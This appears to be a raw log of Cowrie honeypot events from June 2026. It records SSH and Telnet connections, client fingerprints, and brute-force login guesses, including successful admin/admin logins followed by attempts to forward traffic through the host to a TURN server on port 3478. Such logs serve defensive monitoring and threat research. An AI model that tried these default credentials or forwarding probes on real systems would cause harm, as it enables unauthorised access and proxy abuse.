{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:52.203838Z","src_ip":"117.121.214.50","session":"b7734620bb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"s","password":"s","message":"login attempt [s/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:53.210632Z","src_ip":"117.121.214.50","session":"b7734620bb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:54.456607Z","src_ip":"117.121.214.50","session":"b7734620bb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":53258,"dst_ip":"10.17.0.5","dst_port":22,"session":"01ebd9e6203b","protocol":"ssh","message":"New connection: 45.140.193.156:53258 (10.17.0.5:22) [session: 01ebd9e6203b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:56.483111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:56.488365Z","src_ip":"45.140.193.156","session":"01ebd9e6203b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:56.617970Z","src_ip":"45.140.193.156","session":"01ebd9e6203b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asd","password":"asd123","message":"login attempt [asd/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:57.119982Z","src_ip":"45.140.193.156","session":"01ebd9e6203b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:58.236414Z","src_ip":"45.140.193.156","session":"01ebd9e6203b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43414,"dst_ip":"159.203.135.109","dst_port":23,"session":"38e845836f67","protocol":"telnet","message":"New connection: 107.6.151.170:43414 (159.203.135.109:23) [session: 38e845836f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:05.335956Z"}
{"eventid":"cowrie.session.closed","duration":0.0042688846588134766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:05.340117Z","src_ip":"107.6.151.170","session":"38e845836f67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595278024673462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:05.775379Z","src_ip":"107.6.151.170","session":"b7a194555b82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.757283210754395,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:06.903425Z","src_ip":"107.6.151.170","session":"1f6659abdf01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54088,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d79bcdaa0f1","protocol":"telnet","message":"New connection: 107.6.151.170:54088 (159.203.135.109:23) [session: 8d79bcdaa0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:10.283612Z"}
{"eventid":"cowrie.session.closed","duration":0.005816221237182617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:10.289292Z","src_ip":"107.6.151.170","session":"8d79bcdaa0f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51292,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e2211e88640","protocol":"telnet","message":"New connection: 172.81.62.90:51292 (159.203.135.109:23) [session: 3e2211e88640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:11.369924Z"}
{"eventid":"cowrie.session.closed","duration":40.4853572845459,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:30.915133Z","src_ip":"172.81.62.90","session":"d94592bbc720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59846,"dst_ip":"159.203.135.109","dst_port":23,"session":"88caeb0fef75","protocol":"telnet","message":"New connection: 128.199.8.54:59846 (159.203.135.109:23) [session: 88caeb0fef75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:46.836924Z"}
{"eventid":"cowrie.session.closed","duration":39.20826959609985,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:50.578064Z","src_ip":"172.81.62.90","session":"3e2211e88640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42024,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4c86affa8f","protocol":"telnet","message":"New connection: 172.81.62.90:42024 (10.17.0.5:23) [session: 2a4c86affa8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:24:57.752754Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":48275,"dst_ip":"159.203.135.109","dst_port":22,"session":"b104afb98749","protocol":"ssh","message":"New connection: 112.216.108.62:48275 (159.203.135.109:22) [session: b104afb98749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:25.980691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:25.984916Z","src_ip":"112.216.108.62","session":"b104afb98749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:26.190141Z","src_ip":"112.216.108.62","session":"b104afb98749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"361e3d1b826f","protocol":"telnet","message":"New connection: 94.23.66.112:51492 (10.17.0.5:23) [session: 361e3d1b826f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:26.320009Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghjkl","message":"login attempt [ubuntu/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:27.044648Z","src_ip":"112.216.108.62","session":"b104afb98749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:28.256625Z","src_ip":"112.216.108.62","session":"b104afb98749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96075940132141,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:33.713414Z","src_ip":"172.81.62.90","session":"2a4c86affa8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":48128,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b630fa79d0","protocol":"telnet","message":"New connection: 128.199.209.169:48128 (159.203.135.109:23) [session: 61b630fa79d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:37.787947Z"}
{"eventid":"cowrie.session.closed","duration":11.654832601547241,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:37.974709Z","src_ip":"94.23.66.112","session":"361e3d1b826f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.051148653030396,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:39.887989Z","src_ip":"128.199.8.54","session":"88caeb0fef75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34812,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1cc5703f088","protocol":"ssh","message":"New connection: 45.148.10.121:34812 (10.17.0.5:22) [session: b1cc5703f088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:46.067456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:46.089004Z","src_ip":"45.148.10.121","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:46.651759Z","src_ip":"45.148.10.121","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:48.143859Z","src_ip":"45.148.10.121","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:48.626688Z","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:49.142074Z","src_ip":"45.148.10.121","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:49.145264Z","src_ip":"45.148.10.121","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:49.668851Z","src_ip":"45.148.10.121","session":"b1cc5703f088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34822,"dst_ip":"10.17.0.5","dst_port":22,"session":"620e8388c202","protocol":"ssh","message":"New connection: 45.148.10.121:34822 (10.17.0.5:22) [session: 620e8388c202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:50.664089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:50.667744Z","src_ip":"45.148.10.121","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:51.536459Z","src_ip":"45.148.10.121","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:54.078567Z","src_ip":"45.148.10.121","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:54.555985Z","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.000722Z","src_ip":"45.148.10.121","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.003538Z","src_ip":"45.148.10.121","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":42454,"dst_ip":"10.17.0.5","dst_port":22,"session":"e67a0b394822","protocol":"ssh","message":"New connection: 45.140.193.156:42454 (10.17.0.5:22) [session: e67a0b394822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.229636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.233619Z","src_ip":"45.140.193.156","session":"e67a0b394822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.346870Z","src_ip":"45.140.193.156","session":"e67a0b394822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.657657Z","src_ip":"45.148.10.121","session":"620e8388c202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjay","password":"sanjay","message":"login attempt [sanjay/sanjay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:55.843447Z","src_ip":"45.140.193.156","session":"e67a0b394822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:56.960975Z","src_ip":"45.140.193.156","session":"e67a0b394822","protocol":"ssh"}
